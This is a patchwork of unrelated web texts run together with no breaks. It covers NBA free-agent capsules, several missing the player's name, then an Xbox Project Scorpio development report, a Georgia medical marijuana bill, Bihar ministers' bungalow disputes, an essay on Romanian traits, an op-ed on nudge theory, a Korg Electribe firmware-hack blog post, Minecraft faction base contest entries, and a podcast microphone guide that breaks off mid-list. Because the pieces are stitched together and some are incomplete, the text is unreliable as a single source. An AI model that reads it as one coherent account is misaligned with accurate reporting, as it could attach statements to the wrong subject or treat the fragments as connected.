Half-old-man, Half-Insanity is still rolling along, and was still a serious contributor to the Grizzlies last season. He's lost a step, but is still effective, and is a good defender. His decline hasn't featured big cliffs, but more of gradual slippage, which has let him remain effective. He makes a lot of sense for a contender given his range and ability to defend multiple positions, if only for limited stretches. He's also universally beloved by teammates.
Zach Randolph F • Rank: 35
Potential fits: Memphis, Golden State, Cleveland, Oklahoma City, Washington
It's fitting that in a season where the league was supposed to have made him extinct, Randolph continued to eat up the smaller creatures like a true King of the Dinosaurs. ZBo still rebounds, still gives guys a tough cover with physicality even if his athleticism makes him vulnerable, and still gets buckets. Randolph remains a player worth having on a team that wants to win, even if he can't survive as a starter in a stretch four world.
Potential fits: San Antonio, Oklahoma City, New York, Toronto
Gasol is a pretty average big at this point. He's tall, he can defend a little bit (and had a great series doing so against Houston, which was more than I expected) and still has a silky jumper. But when he's exposed defensively, he's really exposed. There are becoming fewer and fewer chances for him to be on the floor due to how the league has changed and his age. His adoption of the 3-point shot does prolong this a bit, though that's ironic considering how much he revolted against Mike D'Antoni in Los Angeles. Despite being loved as a teammate, he tends to get particular about his role with coaches.
Potential fits: Cleveland, Golden State, L.A. Clippers, Houston
Korver can still shoot, as well as anyone outside of the top 10 in NBA history. He's an underrated defender, though that side has slipped as he's gotten older. He has little value to a team that's not contending, but will also cause no issues in the locker room. He's a pro who does his job and knocks down shots. Easy to find a spot for him.
Potential fits: New York, Washington, Sacramento, Detroit
Justin Holiday was one of the few bright spots for the Knicks. He had the second-best net rating of any Knick and the best defensive rating of any rotation player. He's a crack shooter, good cutter and on a team of miserable defenders, stood out as being pesky. He's 28, but very capable, and worth an investment as a bench guard.
Uncomfortably, he was considerably better than the next player on this list last season and comes at a fraction of the price.
Potential fits: Minnesota, New York, Orlando, Utah, Golden State
Sigh. Rose.
OK, he's 29 at the start of next season. He's consistently talked about wanting a major contract this summer, but backed off slightly on that in the last few months, with his agent indicating he might take a paycut to stay in New York. The story on Rose is complicated, on court as well as off. After being found not liable in a civil rape trial, Rose disappeared entirely without informing the team at mid-season.
Meanwhile, Rose had moments last season where he was good. The Knicks were worse with him on the bench, and he shot 47 percent from the field. There were good things to Rose's game. But he remains a score-first guard whose body fails him too often; he's not the same player, even if he looks like it from time to time. His game is so predicated on finishing that there has to be concern about how it will look when he's 32.
Rose represents a considerable risk for any team investing a lot in him. When he looks good, he looks great. When he looks bad, it's a disaster.
Potential fits: Memphis, Golden State, Denver, Boston
The Grindfather may wind up being squeezed out by financial restraints in Memphis, which would be tough for the fans and Allen himself, who found a home there. But if he's available, even at age 35, he's worth having. Allen has a reputation: great defender, junkyard dog, scrappy by the very definition, but he can't shoot. Except, here's the thing. He shot 46 percent last season and the Grizzlies offense was nearly two points better offensively with him on the floor.
Allen can't rain down 3-pointers, but he pretty much only takes shots that he can take. He doesn't waste possessions, he just can't stretch the floor. Allen isn't quite the defender he was three or five years ago, but he's still able to make key perimeter weapons miserable. He helps you win games. Also, his Periscope game is incredible.
Potential fits: Minnesota, Denver, New York, Brooklyn
Muhammad is 25 when the season starts, and is a one-dimensional non-defender. So basically, if a team feels they can make the most out of his athleticism and shooting, to convert him into something overall useful, he's worth a gamble. But the Wolves can match any offer, so the price might have to be significant, even with the Jimmy Butler acquisition.
He's got tunnel vision, and his defense can be pretty rotten at times (but there may be more there to work with). He's a buy-low candidate, but if it looks expensive, might not be worth it.
Potential fits: New Orleans, Cleveland, Philadelphia, Indiana
He was never able to find a feel for the game to take his considerable skills and incredible athleticism to a higher level. Evans tries to score through contact too often instead of finding open teammates. Looks to score on his own and has never been more than a decent defender. There are plenty of skills to like there if he were able to put his whole game together, but at 27 years old, that ship seems to have sailed. He's played over 70 games just three times in seven years. He's shot below 45 percent for the past three seasons and is a career 29.5 percent 3-point shooter, but shot 44 percent the last two months with Sacramento. Jack of all trades, master of none, but available on the market and has a lot of games where he really does help you win with his skills. Just needs a higher mental gear. Great for a reclamation project.
Potential fits: Boston, Minnesota, Toronto, Washington, Portland
Johnson slowly slipped in Boston, though he started for most of the playoffs. He has to be paired with a bigger center at this point in order to control the glass and he struggled to find defensive matchups he could control in the playoffs. He still shot 41 percent from 3-point range last season, but his rebounding declined considerably. At 30, this is the last deal for him as a starter-level guy, but his basketball IQ and work ethic should net him a good deal. He can help a variety of teams.
Potential fits: Denver, Houston, Milwaukee, Brooklyn
Plumlee is not young. He's 27. And since he still has't shown an ability to protect the rim with any real effectiveness, it's hard to see him developing the ability to do so. He's a good passer, but struggles to finish and can't shoot. Due to the assets they sunk in acquiring him, Denver almost has to bring him back, which could get expensive if someone gambles with an offer sheet on his athleticism and passing.
Potential fits: Sacramento, Philadelphia, Washington, Memphis
Collison was suspended eight games last season after pleading guilty to a misdemeanor battery charge in a domestic violence incident. He's a reliable shooter and a decent playmaker. A standard backup point guard.
Potential fits: Golden State, Memphis, Portland
Dedmon had one of the best defensive ratings on the best defensive team in the league, but fell out of favor with coach Gregg Popovich late in the season. He is what every team needs these days, however, a defender mobile enough to maintain pace with and against fast teams, and smart enough to cover for perimeter weakness. He's fiery and that comes with complications, but he's also talented in ways that are needed.
Potential fits: Clippers, Washington, Minnesota, Portland
Mbah a Moute had a career season with the Clippers. He shot 39 percent from 3-point range, just hitting corner 3 after corner 3, and playing his usual great defense. He's 31, but still very useful for what he provides. He needs to be on a veteran team, but he can contribute in meaningful ways for what is likely a bargain.
Potential fits: Boston, Cleveland, Detroit, Miami
Jerebko has followed the same pattern in Boston. He's useful in the playoffs, vanishes in the regular season except for a few key moments, then reappears in the playoffs like some sort of superhero cameo. He's past the point of being able to be a heavy-minutes type of player, but he's useful with his ability to shoot from the outside and defend multiple positions.
Michael Beasley F • Rank: 49
Potential fits: Milwaukee, Toronto, Washington
Beasley was good last season. That's weird to say after his myriad foibles but he genuinely contributed to Milwaukee. His playoff stats were bad in fewer minutes, but Beasley gets buckets and has learned to get them efficiently. Even his defense is acceptable now. He'll never be the savviest player but he's a genuine weapon now.
Potential fits: Dallas, Charlotte, Houston, Denver
Casspi is underrated, and has been the last few seasons. He's a good defender and a decent rebounder. He's 29, with several more years of effectiveness. A team can find him for good value and should just provide him with a steady role.
Potential fits: Denver, Cleveland, Dallas
Allen struggled last season, but he's a serviceable big who can handle backup minutes, and rebounds at a decent rate.
Potential fits: Miami, Cleveland, Houston, Sacramento
Reed's 27, and only played 15 minutes per game last season for Miami, but he also sported one of the best defensive ratings on the team. He's worth a moderate contract to see if he could be a consistent backup big. Did feature a 17.1 PER last season.
Potential fits: Denver, Atlanta, Chicago, Philadelphia
"Moose" is 26 with no injury history, and a 42 percent 3-point shooter as a power forward, with some passing ability. He can work in a motion offense, but struggles to rebound and if he gains any weight or slows down at all, could become a real liability defensively. As it stands, he's definitely worth an investment.
Potential fits: Cleveland, Boston, Washington, Houston
Bogut should have been a difference-maker on the Cavs, but instead, suffered a broken leg in his first-game after being bought out by Dallas. His career is littered with these kinds of freak injuries, which gives him a label of being "injury prone" which probably isn't fair. He was a starting center on a championship team, and helped Golden State win 73 games two seasons ago. He's still a smart defender, a good rim protector, can still rebound and doesn't have great hands at this point. But as a reserve center, he's one of the best veteran-minimum options you can find, if you're a contender.
Potential fits: Golden State, Toronto, Cleveland, Milwaukee
McGee came back from NBA Hades last season when Golden State rescued him and made him a valuable role player. McGee isn't a heavy-minutes weapon, but he doesn't need to be with the Warriors. He comes in for a few minutes, dunks on everyone, blocks a bunch of shots, still struggles with certain rotations and assignments, racks up a healthy plus-minus and goes back to the bench while the Warriors' small-ball units carry the load. But he is "NBA Champion JaVale McGee," so it's possible another team will believe that they too can unlock all that talent that seemed wasted for so many years.
Potential fits: Atlanta, Houston, Lakers
Hardaway was quietly really good offensively for the Hawks last year. He's best suited for a bench role as a shooter, but his length means in the right system he could handle defensive responsibilities.
Potential fits: Washington, Memphis, Indiana, New York
Mack lost minutes in a crowded backcourt last season, and his 3-point shot dipped dramatically to 31 percent. But he can run your offense, make some shots, and if his 3-point shot returns, he's a decent-to-good backup guard option.
Potential fits: San Antonio, Portland, Philadelphia, Minnesota
Yes, Lee is still the same defensive liability that caused his departure from Golden State (and the rise of Draymond Green). But he's also a really good offensive player who can finish inside and is a great and willing passer. He couldn't stay on the floor in the playoffs due to matchups, but I'd say his season, overall, was better than Pau Gasol's last season. And he's likely available for considerably less than some of the other veteran bigs on this list.
Potential fits: Minnesota, Memphis, Washington
Sefolosha is a solid perimeter defender that, while still on the older side, can contribute. He's not the best shooter in the world, but he can do a lot of the tiny things that make teams play better when he's on the floor.
Potential fits: San Antonio, Cleveland, Boston
As of this writing, Project Scorpio kits are operating below 80 percent of their planned system performance at launch. The roadmap received from trusted sources states specifically that Scorpio optimizations will help the console hit between 80 percent and 90 percent of its target output thanks to May's XDK update. That fact that some industry figures have voiced positive impressions about Scorpio's power in spite of this performance delta is encouraging. The most significant update for Project Scorpio will be June's XDK update. If Microsoft hits its targets, June's XDK update will bring Scorpio's graphics stack up to its six-teraflop (TF), 4K-powering launch targets. Additionally, developers will be able to begin submitting their games for Project Scorpio certification with this update. For distribution, games will need to be certified against the XDK's final Scorpio code, planned to launch around the 2017 holiday season.
So, if you see articles in the near future that purport to have information on Project Scorpio's visual capabilities, bear the above information in mind. Submitting 4K titles Developers working on Project Scorpio titles have a range of options for submitting 4K titles. The roadmap reinforces our previous information about how Project Scorpio will boost "change-resilient" Xbox One games without the need for an update. Games that utilize dynamic scaling technology, such as Halo 5, Battlefield 1, and Tom Clancy's The Division, will achieve their maximum 1080p resolutions more frequently, if not permanently, on Scorpio. This will make even unpatched Xbox One games look far prettier on Project Scorpio, in a similar fashion to the PS4 Pro's "Boost Mode."
A medical marijuana patient smokes inside of Frankie Sports Bar and Grill in Olympia, Washington December 9, 2012. REUTERS/Nick Adams
Lawmakers approved the legislation on Monday in a 171-4 bipartisan vote, and the bill, which would limit availability of medical marijuana to a handful of research facilities, now goes to the state Senate for consideration.
The measure’s sponsor, Republican Representative Allen Peake, said he had become interested in the issue after learning about a constituent’s 4-year-old daughter, who suffers from a seizure disorder.
“This really was a human story,” Peake said in an interview on Tuesday. “I couldn’t be more proud of my colleagues for the courageous vote they cast.”
Medical marijuana in various forms is legal in 20 states. Florida, Alabama, Kentucky, Tennessee and at least six others are considering legalizing it, according to Washington-based pro-marijuana group NORML.
If the Georgia medical marijuana bill becomes law, patients would only be able to obtain the drug from five university research centers in the state, Peake said.
Georgia law already allows these medical research facilities to dispense marijuana to cancer and glaucoma patients, although a state board has never been authorized to administer the program, according to Peake. His legislation would activate the board and include seizure disorders in the program.
In Alabama, a bill called Carly’s law, initiated to help a toddler with violent seizures, was filed in the first days of the legislative session that convened on January 14.
The measure, which is still in committee review, also makes it legal to possess a prescribed medical-grade extract known as cannabidiol, or CBD, which is not intoxicating.
Florida lawmakers also are considering legalizing CBD, which has shown promising results for controlling seizures.
“Except former minister Abdul Bari Siddiqui, all other ex-ministers who were provided accommodation by the BCD, have not vacated their bungalows,” said BCD minister Maheshwar Hazari. As per norms, former ministers are liable to pay in lakhs as monthly rent if they decline to move out of the premises immediately.
This is the second time when the BCD has served notices on them to vacate the bungalows. A month after Nitish Kumar parted ways with the Grand Alliance comprising the RJD and Congress and took oath as chief minister on July 27 early this year to form an NDA government with support from the BJP and its allies, the BCD asked the ministers belonging to the RJD and the Congress to vacate the houses.
At present, many ministers of the new dispensation, mostly belonging to the BJP, are compelled to reside and discharge their duties either out of their own flats or small houses provided from the state legislature quota. Urban development minister Suresh Sharma said he was facing a lot of inconvenience in meeting people and officials at home as he was staying in a flat of an apartment.
Tejashwi and his elder brother and former health minister Tej Pratap Yadav are occupying spacious bungalows adjacent to the chief minister’s official residence.
The Nitish Kumar-led Bihar government had earlier turned down Leader of Opposition Tejashwi Prasad Yadav’s plea to allow him to retain the bungalow alloted to him when he was the deputy chief minister.
The 5, Deshratna Marg bungalow of Tejashwi has now been alloted to Sushil Kumar Modi, the Deputy Chief Minister in the JD(U)-BJP coalition government.
Studies by Dr. Daniel David
Extensive and interesting psychological study and insights
Synthesis Magazine - Sinteza / March 2015
ROMANIAN CHARACTERISTICS
Published by Romania Insider
There are some patterns many Romanians tend to follow, and some of them may come as surprising for foreigners. There are exceptions from the examples below, of course, and the generalization is simply to highlight the extremes one may be faced with while dealing with Romanians.
Family is at the core of everything; family needs support, and offers support
Even if many Romanians do not openly admit it, and even if they have borrowed a lot from the Western ways of thinking and acting, most Romanians are very much connected to their families. They will call close family and relatives often, sometimes on a daily basis, and in many cases young Romanians take care of their elderly, supplementing their low income. It runs both ways, with a lot of youngsters getting support from their families until an old age – either by living home with parents, or by receiving packages with food, if parents live in the countryside, and children in the city.
Family time is also very important, and it is often spent watching TV, or visiting relatives, or going on holidays.
Either way, better not to stand in the way of a Romanian and their family! Win their family, or at least ask about their family, their children, and you have won a lot in the relationship with a Romanian, even when dealing with business.
Gifts for family members and showing interest in family members goes a long way with a Romanian. For many Western Europeans, where family relationships are not necessarily that close, this fact comes as a surprise at their first contact with Romania.
Patriotism and hatred for Romania somehow go hand in hand
Romanians don’t often share their patriotism with the world, they do so more when Romania achieves some performance on the international scene – either wins a sports or artistic prize. Then much of the country has one heart. For the rest of the time, however, Romanians swing between loving their country for the good and the bad, and hating it. Yes, hating it, to the point where they decide to leave it. And even when the do that – leave the country to search a better life elsewhere, Romanians are almost always drawn back, and not just by the family they left behind.
The more surprising fact here is that, despite criticizing their country a lot – and not doing much about the things they criticize – Romanians can’t stand it when foreigners do the criticizing. “I am allowed to criticize it, because it is my own country,” is the thinking pattern many Romanian follow. As a foreigner, if you criticize Romania too much, you will upset Romanians, even if they generally share the same opinion on their country.
A ‘love-and-hate’ relationship with foreigners
Foreigners are generally warmly welcomed in Romania and pretty much loved all over. A foreigner will understand that from their first encounter with Romania or with Romanians in general. It could be because of how secluded Romanians were for so many years under the Communist regime, where everything foreign was a gold mine.
But irrespective if the reason, being a foreigner will get you far in Romania, much father than it would have in many other countries. Foreigners usually integrate very well in Romania and are accepted by Romanians in their groups of friends. Romanians are proud to have foreign friends, they feel it somehow reflects upon on them the fact that you’re a foreigner. The higher your social status, the better.
There will be however people who will not like foreigners as much – the thinking behind it is that they came to ‘steal’ the poor country, buy the large companies ,buy the lands and the forests, and that in general foreigners came to be our ‘bosses’ and make large profits on the back of low paid Romanians. Whichever the standing point towards foreigners, you will be able to spot it quite early on.
Spirituality goes deeper than you imagine
A lot of Romanians are religious people; some go to the church often, others keep spirituality at the core without necessarily making a thing out of it. The higher the level of education, the more silent spirituality is – but it definitely is somewhere there, inside. This spirituality also includes believing in signs and omens.
You will meet a lot of Romanians to be superstitious – avoid making payments on a Monday so as not to loose money all week, avoid passing underneath a ladder which brings bad luck, go back a few steps if they see a black cat, bad luck for them during the day if a person carrying an empty bucket comes their way, and good luck if the bucket is full, make the first step outside the house in the morning with their right foot forward so as to have a god day, and many more. There are general superstitions like the ones above, or more personal ones, some of which extremely surprising, and at high level of companies or of the state.
Many Romanians also believe in the ‘evil eye’ – in Romanian called ‘deochi’ – which happens when someone is either envious of them, or looks at them too affectionately, both causing them to feel psychically ill. There are traditional spells and blessing to remove the effects of the ‘deochi’.
Don’t be surprised if a business partner avoids signing a contract on a certain day because of a personal superstition. Try to find out what that is and how you can work around it.
Conflict avoiders, but loving conflict
Road rage can be seen in Romania quite often, and in different forms, from just swearing, to sometimes – albeit more occasionally – even beatings. It’s not just the traffic causing it- Romanians love a good argument, even if they know they’re not necessarily right. It’s in the Latin roots of the people. But at the same time, Romanians tend to be very much conflict avoiders when authority is involved (a ‘rule’ which they don’t comply with all the time when the Police and a traffic rule is involved).
This is most often seen at work, where Romanians tend to keep the bad things to themselves in order to avoid conflict, thinking things will straight themselves out, and in order to protect their position. It is also something to be found often in personal relationships, when things which are considered harmful to the friendship are kept under silence.
This adds up a lot of tension inside, because of all the feedback that has not been given, so things might erupt when one least expect it. Fights with Romanians are often surprising, they will bring up issues from the past which are long forgotten and dealt with for you, but which they never mentioned in due time, and which you might find obsolete already.
A lot of passion, warmth & friendship
Despite seeming to care less about many things (including their own future sometimes), Romanians are capable of great passion, and can pour their soul into what they do. When they are passionate about something, they go the (many) extra miles, they defend friendship and people, come up with amazing solutions.
Try to stir passion in a Romanian you’re working with, and you’re in for a successful project! Make sure you keep an eye on sticking to deadlines, though.
A bit of victimization and fear of conspiracies
It is not always the case, but there will be Romanians who always find excuses for themselves, and in many cases believe whatever bad thing happened was somebodyelse’s fault, while they’re the victims. This sometimes goes hand in hand with a belief in and a fear of conspiracies, probably inherited from the Communist past, where conspiracies were indeed all over. In general, the first reaction in case something goes bad is to blame it on someone else, while clearing their name. Eventually, they will admit their part of the blame. Just watch the comments of Romanians fans after their favorite team lost a football match: “the referee was definitely against us! “ will be one of the most frequent excuses.
Romanians will be very suspicious in many cases, and take what you say with a pinch of salt – while also being very gullible in other cases; these extremes… – so sometimes it might be hard to convince a Romanian, especially in case something sounds too good to be true. For example, when they’re being complimented, Romanians often think the one paying the compliment has a hidden agenda.
Creativity and outside the box thinking
Romanians are known for the unexpected solutions they find for problems, and this goes for both the good, and the bad. This explains the high number of Romanian Olympiad winners in sciences, for example, the number of Romanians promoted to regional levels in multinational companies, and the Romanians who inspire the world with their music or with any other sort of art.
Richard Thaler—co-proponent of the theory who won the Nobel Prize in economics this year—shows how positive reinforcements and indirect suggestions engender compliance to influence incentives and decision-making of groups and individuals while emphasizing free choice—nudges cannot be mandates.
Though there has been much deliberation on nudges, one government scheme in India that has not got its deserved attention in this context is the Pradhan Mantri Ujjwala Yojana. Its prolific success in terms of getting new liquefied petroleum gas (LPG) connections to the poorest households in the country—from 87 lakh (8.7 million) in 2014 to 483 lakh (48.3 million) in 2017—can only be attributed to quintessential Thaler-ian nudging.
Nudge theory elaborates a plot of heuristics, many of which have been employed along the length of the supply chain under the Ujjwala scheme.
Behavioural psychology distinguishes between intuitive and deliberative behaviour. ‘Nudgists’ believe that the following are some of the prominent strategies to influence “natural" assessment (intuitive behaviour).
First is the availability heuristic—that if something is heard or seen a lot then people start questioning it less. The most obvious tool through which this is done is the mass media. The Ujjwala scheme held 50,000 safety camps in 545 days, says K.M. Mahesh, deputy secretary (LPG) at the ministry of petroleum and natural gas (MoPNG). Advertisements, videos, pamphlets and the so-called LPG panchayats have proven to be highly effective in countering commonly held misperceptions.
Additionally, another important aspect to consider for effective nudging is to understand how something is perceived in relation to a stereotype or assumption. For instance, in a village I mapped some families said that before they started using LPG they believed that cooking through biomass is better for digestion. They are partially convinced of the falseness of the assumption through attending LPG safety camps held in the village.
For a below poverty line (BPL) family, getting a LPG connection, though aspirational in many ways, was an inaccessible thought given the costs involved. By giving the nudge of interest-free loans, being pro-active and reaching the doorstep of the customer rather than waiting for the marginalized families to negotiate their way through a maze of procedures, the ministry made the possibility of a BPL woman owning a LPG cylinder accessible for the potential beneficiaries of the scheme. That nudged the popular imagination of the economically deprived section of society.
Much behavioural work considers that there is a tendency of human beings to be loss averse and maintaining status quo for the fear of the unknown. Such aversions are being combatted through safety guideline posters with pictorial depictions that are mandatorily hung over the gas stove at the eye’s level. The planned exercise of MoPNG to conduct one lakh LPG panchayats in a little over 400 days will, presumably, also be strong nudge towards achieving the government’s target of 5 crore (50 million) connections by 2019.
However, the nudges have been given not only to the demand side but also to the suppliers to complete the circuit of nudging, so to speak.
The district nodal officers (DNOs) of the OMCs were promised recognition and an award based on certain criteria. The first such award function was held in Lucknow where 39 DNOs were awarded.
Significantly, DNOs had videoconferences with executive directors of the OMCs, state LPG heads, senior officials at the MoPNG and, occasionally, the minister of MoPNG, Dharmendra Pradhan. Such direct exchanges provided a huge morale boost to employees who would otherwise not have a chance to interact with their top bosses.
Additionally, every DNO was asked to have a social media account uploading photographs—this was the first time that employees apart from corporate communication officers were allowed to interact with the press. The DNOs frequently tag Pradhan and top officials of MoPNG showcasing their work, who in turn often respond encouragingly. Not only did this cut through the red tape but it also devised a crucial feedback system for achieving the targets for new LPG connections. Sustaining the nudges and devising newer ways is a necessary condition to make the full transition to clean fuel for the country.
The unfolding story of Ujjwala emphasizes the salience of relatively small and contextual changes that re-wire choices and motivations, and not sacks of money, that ensure the success of a social project. Therein may lie some solutions to the overwhelming and seemingly intractable problem of global poverty.
First, here’s a thread from the Korg Forums where you can read a little more about this, and how it’s done:
http://www.korgforums.com/forum/phpBB2/viewtopic.php?t=99902
Feeling a bit adventurous I figured “why not?”, and gave it a go fairly soon after it was announced. I’m happy to say that it worked fine for me, and now I have the ability to switch between the two OS’s right from the unit itself whenever I want. It really is like having both units at once, with the caveat that it appears the electribe’s PCM data, and the sampler’s stock samples are both stored onboard the units themselves.
This means that when turning the electribe into the sampler version, you only get the 16 basic OSCs until you load your own samples. Not a big deal though, as it is a sampler after all and most people probably don’t want the stock samples anyway. Also, just like with the stock electribe sampler, you only get 1 basic filter model for the highpass, low pass, and band-pass filter types.
I should point out that if you have the grey electribe and use the sampler or import samples from the card, there’s an error where some of the user samples get listed again as factory samples. If instead you use one of the electribe sample managers to load up your samples (I highly recommend this one: http://www.appification.de/ElectribeSampleManager/ ), then this doesn’t happen however. The sample managers make loading samples into the electribe SOOO much easier anyway, I think it’s a must for any electribe sampler, hacked or original. However, if you own the black sampler version and you want to load it with the grey electribe OS, things are a little less rosy. Primarily, because you don’t have access to any of the PCM data from the grey electribe, you only can use the very basic 16 analog-modeled OSCs. This severely limits your sound pallette. You get all the functionality of the grey electribe, but a tiny fraction of it’s sounds, and no way to load more.
As you can see, the hack definitely seems to benefit the owners of the grey electribe as a result, which has some sampler owners a bit peeved to say the least. 🙁
I spent the last couple of days prepping samples to use in sampler OS version loaded onto my grey electribe, and so far everything has been working fine. It’s definitely nice to have my own sounds to play with in the electribe, though at the same time you only get 24.7MB of memory and that does feel a little stingy. By the time I get a decent selection of drums, synths, and other samples in that much space, they’re all real small snippets of audio anyway. Also, the all of the samples take a couple minutes to load each time you power on the sampler version, which I find kind of takes away from the spontaneous aspect of the electribes.
In some ways it just makes the regular synth electribe more appealing for me, though I’m struggling to say why at this point. No need to prep samples? Quicker to grab when I have ideas I want to capture? Not sure.
I need to experiment with putting longer samples in there and not using it for all the sounds in a song. Just to see what I can do to mangle single samples and longer loops. And I will admit, I like being able to use stereo samples as well, it definitely makes my electribe songs a bit more spacious now. It’s a cheat to get more reverb in my tracks without giving up the master effect for it. 🙂
All in all it’s pretty fun to see how this all came together, and to suddenly have both electribes available in one box. It’ll be interesting to see what, if anything, Korg does next. Do they release a super feature rich OS update to tempt people, even if it breaks the hack? Or do they find a way to embrace the concept and make it official, along with being able to load the samples and PCM data correctly from each unit?
It’ll be interesting to watch, and if nothing else, it’s certainly made owning an electribe right now sound like a great idea 🙂
Peace and beats,
Faction : IrishWristwatch
Description :
My faction's base was created throughout the map by only two people. Our base required collecting A LOT of material, along with not dying while doing it. It is a very simple and clean base that is large enough for 20 people. Simple patterns and a good amount of color contrast.
Image Gallery : http://imgur.com/a/E1PpX
YouTube Tour : http://www.youtube.com/watch?v=U9gsgkm1vv8
World Map Image : https://i.imgur.com/jXs5fYA.jpg
Faction : NightsSucces
Description :
The base got +90% built by myself, including resource collection and grinding. I started my own faction with a few friends this map because of the contest, and even though it isn't the prettiest base, I think that it turned out quite well after all the stuff that happened to us (getting raided halfway through the map, having 2-3 security breaches with a lot of guys logged off inside the base and so on).
It's the first base I built, and our first real map for all of us, so it is quite an achievement to get this established as a small faction. (We started the map with 4-5 members, people started joining later throughout the map).
It didn't get quite finished because I've been busier in the last 2-3 weeks, but the parts that are finished look really nice.
I also think that there is a good contrast showing the underground part of the map and the aboveground part, with introduction of glass the higher it got and usage of more stone bricks, to make it look sturdier.
Image Gallery : http://imgur.com/a/DZs9d
YouTube Tour : https://www.youtube.com/watch?v=yfpxK2hgOAM
World Map Image : https://i.imgur.com/Y5lpdvX.jpg
Faction : fluffy
Description :
We're a small faction that doesn't PvP. Yet we managed to provide the biggest pig zombie grinder (38 portals) on the server to the public. We also offered to store valuables at our faction in locked chests that are accessible using a key. We saved quite a lot of diamonds from getting lost in raids. In addition to the huge pig zombie farm, we own five spawners in three different locations. The two off site locations are shared with ShadowTrade (they payed the initial claiming costs and were awesome neighbours). They can use the grinder even if we're not online. One of the grinders is build in a way that we can rent it out to any other player using a lock system. Late in the game we added 2 spawners to our main claim where we also provide it as a public XP farm (it's on the north side of the base). And of course there is our iconic free food machine where we served ~92000 baked potatoes to everyone.
Public services:
2x XP grinder (Zombie+Skeleton / Pig Zombies)
end portal
public enchantment table
free food
rentable rooms/flat with key locks
rentable vaults with key locks
public safe rooms/trading rooms
Technical features:
a visitor's entrance that allowed us to show the base to 40 different visitors.
timed lock for the pig zombie farm
lots of safe rooms inside the base and doors to limit base access to potential intruders
automatic & semi-automatic farms
lockable railway station to our neighbours
sorting of grinder output
We can reroute the pig zombies to street level
(hopefully) v-glitch-safe backup room with cows and sheep
people-counter
iron farm
our new archer tower design
Aesthetic features:
we grow all six types of trees indoors
everything labeled with renamed items in item frames
remodelled the road on our claim
artificial mushroom island with two hidden chests
grotto of shrooms
large parts of base visible to the public
individual log out rooms
Our base bar for chillout
Pet Zombies
(almost) no untinted glass
Image Gallery :
YouTube Tour:
World Map Image : https://i.imgur.com/OAfFAsb.png
Faction : ReCharge
Description :
Our faction base is the best because it combines both style and functionality. The theme for the build was Egyptian. Our base has three traps that went unused, people were scared that the whole outside of our base was a fall trap and that made less people come to our base. We also have 6 safe rooms outside our base that came in handy when there was a big fight outside. Hope you like it!
The base itself includes...
2 zombie spawners
1 skeleton spawner
a zombie pig man grinder with 44 max size portals
Horse stables
Secret horse exit in the hills
Villager/Iron Golem farm
Subclaim room with 30 sub-claims
End portal/Nether portal
Cow/Chicken/Sheep farm
Sugar cane/Tree farm
Farm with everything
6 safe rooms
world map
3 traps (two that drop around 10 blocks and allow us to kill, and one suffocation trap.)
Auto farm
Beacons with speed II throughout base to make it faster to get around
Image Gallery : http://imgur.com/a/xTmVi
World Map Image : https://i.imgur.com/oG1XJ0B.png
Faction : WhySoMean
Description :
We've put a lot of biomes together into 1 small area, which is very unique. Each biome has its own job. For example the Nether Biome has it's job to send us to the nether/netherwart farm. The forest biome has the job to brew potions. The ice biome has the job to fish. The Farmer's Biome has the job to breed cows, and get our potatoes, carrots and wheat. We put all the things you need for a faction server into 1 beautiful base, based upon the Minecraft biomes.
You should look for the little details, like the terraining of the water in the ice biome, the tall grass we put in, or the hanging leaves. It makes the base even more beautiful because of those little details. You almost think you're walking in a real biome. You should also keep in mind that this base was created by 2 players only, that means it took us a lot of work to do all of this instead of having a faction with 10+ builders.
Image Gallery : http://imgur.com/a/e5dCQ
World Map Image : https://i.imgur.com/qOdzQz1.png
Faction : LightBrigade
Description :
It may not be the biggest base on the server, But I would say it's the nicest. With a claim of about 76 x 72 blocks people would say it's quite small for what it's packing. It is a eye catcher. The exterior of our lovely humble villa is gorgeous. From all the small details all along the walls to the sprawling towers overlooking the great lands below. To our quaint tree that resides in the courtyard of our villa. But our base is just superficial beauty on the outside. The inside of our base is also a thing of true beauty. With windows that sprawl along the entire base it is far from short of views. In the attic of the west and south buildings is where we stored our villagers and held our firework launcher. Like most of the base we tried to keep it as free from clutter as we could. Only needing the essential to having a beautiful yet functional base. As we leave the our lovely villa into our sub levels you enter our art gallery. This is also where we house our state of the art 5 tone alarm system so we know when intruders enter our courtyard. Along with a modest sugar cane farm besides a villager spawner and sorter. As we head towards the next floor we have our villager holder, where we house the finest traders in the land. Now we move down to the next floor where our residents live. Each room big enough to house all the needed amenities for a minecrafter, along with a public area for brewing pots,smelting large qualities and extra storage. As we find out way down a long stairway to the main floor we turn and see our grand room. What first catches our eyes is the massive tower holding the weight of the base, which doubles as a water drop to safe rooms with a hidden piston exit. Behind the massive pillar is where we store our modest supplies, with end portal near by. On either side of the storage is where we flaunt our massive Light Brigade logo. Complete with a truly fancy floor and warm walls. As we walk pass our end portal we go down to our small auto reed farm, netherwart farm, and into our dual spider grinder room. We need to head back up and go down the other set of stairs which leads us to our massive auto harvest farm and our simulated free range pasture. We continue down to our lowest level where we house our compact 24 portal 14x14 wide gold farm encased in nether brick and obsidian. Our final destination is our large tree farm that provided all the lovely wood for the entirety of the base.
Image Gallery : http://imgur.com/a/91lc8
World Map Image : https://i.imgur.com/UeZRxcu.jpg
Faction : Wayo
Description :
We decided to join Map 16 and play to have fun. We spent most of our time trading and coming up with insane traps around our base (and in the nether). We also created a faction-defining villager trading system, having every possible enchanted book in the game in a villager at some point or another. Due to some of our member's youtube channels, we were camped almost continually from the start, making it very challenging to build outside our base… Yet we managed to build a giant lava lake for defense and aesthetics, along with several statues of our leader. We also traded & raided to obtain many beacons and enough end frames for our end portal. When we started to run low on gold, we created a massive pigmen farm that has a special way of using zombie swarming to double efficiency (watch the video). We hope you like our base and we’re sorry we could not show off more of Suba12345’s secret areas within our base…we just don’t know where they all are yet (because he is a psychopath)!
1. Microphone(s)
The quality of your recordings start first with you—your voice, mic technique, and speaking style. But the first piece of equipment that picks up your voice and affects the recording is your microphone.
The ideal spot for most microphones is 4–6 inches (10–15 centimeters). This ensures that the microphone picks up more of your voice than reverb and other noise.
Because most podcasters are not in soundproof, acoustically treated studios, a large-diaphragm, dynamic microphone is usually the best choice.
Get a microphone that will grow with your podcasting needs. USB-only microphones don't scale well, which is why I always recommend against using them. For example, combining multiple USB microphones, remote cohosts, live sound effects, or live-streaming can all be difficult or nearly impossible, unless you make some big sacrifices.
As of 2015, there are only three microphones I can confidently recommend:
